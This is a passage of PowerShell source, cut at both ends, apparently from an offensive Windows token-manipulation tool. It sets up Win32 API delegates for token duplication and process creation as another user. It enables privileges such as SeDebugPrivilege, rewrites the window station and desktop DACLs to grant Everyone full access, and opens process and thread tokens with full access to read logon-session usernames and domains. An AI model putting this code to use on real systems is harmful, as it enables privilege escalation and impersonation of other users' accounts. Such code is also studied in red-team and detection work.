Get-ProcAddress advapi32.dll RevertToSelf - $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) - $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) - - $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData - $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) - $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) - - $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW - $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) - $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - - $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx - $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) - $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) - - $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW - $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) - $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) - - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer - $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) - $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) - - $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread - $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) - - $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken - $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) - $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - - $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW - $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) - $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) - - $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW - $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) - $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) - - $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA - $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf - $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) - $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA - $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) - $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges - $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) - $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread - $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) - $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - - $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo - $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) - $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) - - $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo - $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) - $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) - - $GetAceAddr = Get-ProcAddress advapi32.dll GetAce - $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) - $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) - - $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW - $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) - $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) - - $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce - $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) - $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) - - $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid - $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) - $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) - - $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW - $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) - $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) - - $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree - $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) - $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) - - $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW - $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) - $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) - ############################### - - - #Used to add 64bit memory addresses - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF - - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL - function Enable-SeAssignPrimaryTokenPrivilege - { - [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if ($Result -eq $false) - { - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - } - else - { - Throw ([ComponentModel.Win32Exception] $ErrorCode) - } - } - - $CloseHandle.Invoke($ThreadHandle) | Out-Null - - $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) - $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - - $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject) - - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) - $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) - - $LuidAndAttributes.Luid = $LuidObject - $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) - $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges = $LuidAndAttributes - - $Global:TokenPriv = $TokenPrivileges - - $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $CloseHandle.Invoke($ThreadToken) | Out-Null - } - - - #Enable SeSecurityPrivilege, needed to query security information for desktop DACL - function Enable-Privilege - { - Param( - [Parameter()] - [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", - "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", - "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", - "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", - "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", - "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", - "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", - "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] - [String] - $Privilege - ) - - [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if ($Result -eq $false) - { - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - } - else - { - Throw ([ComponentModel.Win32Exception] $ErrorCode) - } - } - - $CloseHandle.Invoke($ThreadHandle) | Out-Null - - $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) - $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - - $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) - - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) - $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) - - $LuidAndAttributes.Luid = $LuidObject - $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) - $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges = $LuidAndAttributes - - $Global:TokenPriv = $TokenPrivileges - - Write-Verbose "Attempting to enable privilege: $Privilege" - $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $CloseHandle.Invoke($ThreadToken) | Out-Null - Write-Verbose "Enabled privilege: $Privilege" - } - - - #Change the ACL of the WindowStation and Desktop - function Set-DesktopACLs - { - Enable-Privilege -Privilege SeSecurityPrivilege - - #Change the privilege for the current window station to allow full privilege for all users - $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") - $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) - - if ($hWinsta -eq [IntPtr]::Zero) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - Set-DesktopACLToAllowEveryone -hObject $hWinsta - $CloseHandle.Invoke($hWinsta) | Out-Null - - #Change the privilege for the current desktop to allow full privilege for all users - $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) - if ($hDesktop -eq [IntPtr]::Zero) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - Set-DesktopACLToAllowEveryone -hObject $hDesktop - $CloseHandle.Invoke($hDesktop) | Out-Null - } - - - function Set-DesktopACLToAllowEveryone - { - Param( - [IntPtr]$hObject - ) - - [IntPtr]$ppSidOwner = [IntPtr]::Zero - [IntPtr]$ppsidGroup = [IntPtr]::Zero - [IntPtr]$ppDacl = [IntPtr]::Zero - [IntPtr]$ppSacl = [IntPtr]::Zero - [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero - #0x7 is window station, change for other types - $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) - if ($retVal -ne 0) - { - Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" - } - - if ($ppDacl -ne [IntPtr]::Zero) - { - $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) - - #Add all users to acl - [UInt32]$RealSize = 2000 - $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) - $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) - if (-not $Success) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - #For user "Everyone" - $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) - $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) - $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) - $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero - $TrusteeObj.MultipleTrusteeOperation = 0 - $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID - $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP - $TrusteeObj.ptstrName = $pAllUsersSid - - #Give full permission - $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) - $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) - $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) - $ExplicitAccess.grfAccessPermissions = 0xf03ff - $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS - $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE - $ExplicitAccess.Trustee = $TrusteeObj - - [IntPtr]$NewDacl = [IntPtr]::Zero - - $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) - if ($RetVal -ne 0) - { - Write-Error "Error calling SetEntriesInAclW: $RetVal" - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) - - if ($NewDacl -eq [IntPtr]::Zero) - { - throw "New DACL is null" - } - - #0x7 is window station, change for other types - $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) - if ($RetVal -ne 0) - { - Write-Error "SetSecurityInfo failed. Return value: $RetVal" - } - - $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null - } - } - - - #Get the primary token for the specified processId - function Get-PrimaryToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [UInt32] - $ProcessId, - - #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. - [Parameter()] - [Switch] - $FullPrivs - ) - - if ($FullPrivs) - { - $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS - } - else - { - $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY - } - - $ReturnStruct = New-Object PSObject - - $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) - $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess - if ($hProcess -eq [IntPtr]::Zero) - { - #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." - return $null - } - else - { - [IntPtr]$hProcToken = [IntPtr]::Zero - $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) - - #Close the handle to hProcess (the process handle) - if (-not $CloseHandle.Invoke($hProcess)) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" - } - $hProcess = [IntPtr]::Zero - - if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" - return $null - } - else - { - $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken - } - } - - return $ReturnStruct - } - - - function Get-ThreadToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [UInt32] - $ThreadId - ) - - $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS - - $RetStruct = New-Object PSObject - [IntPtr]$hThreadToken = [IntPtr]::Zero - - $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) - if ($hThread -eq [IntPtr]::Zero) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists - { - Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" - } - } - else - { - $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated - ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed - { - Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" - } - } - else - { - Write-Verbose "Successfully queried thread token" - } - - #Close the handle to hThread (the thread handle) - if (-not $CloseHandle.Invoke($hThread)) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" - } - $hThread = [IntPtr]::Zero - } - - $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken - return $RetStruct - } - - - #Gets important information about the token such as the logon type associated with the logon - function Get-TokenInformation - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken - ) - - $ReturnObj = $null - - $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) - [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" - } - else - { - $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) - - #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) - - [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero - $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) - if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) - { - Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" - } - else - { - $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) - if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and - $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) - { - #Get the username and domainname associated with the token - $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) - $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) - - #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) - #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account - #results in querying the domain controller which is unwanted. - if ($Username -ieq "$($env:COMPUTERNAME)`$") - { - [UInt32]$Size = 100 - [UInt32]$NumUsernameChar = $Size / 2 - [UInt32]$NumDomainChar = $Size / 2 - [UInt32]$SidNameUse = 0 - $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) - $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) - $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) - - if ($Success) - { - $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) - $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) - } - else - { 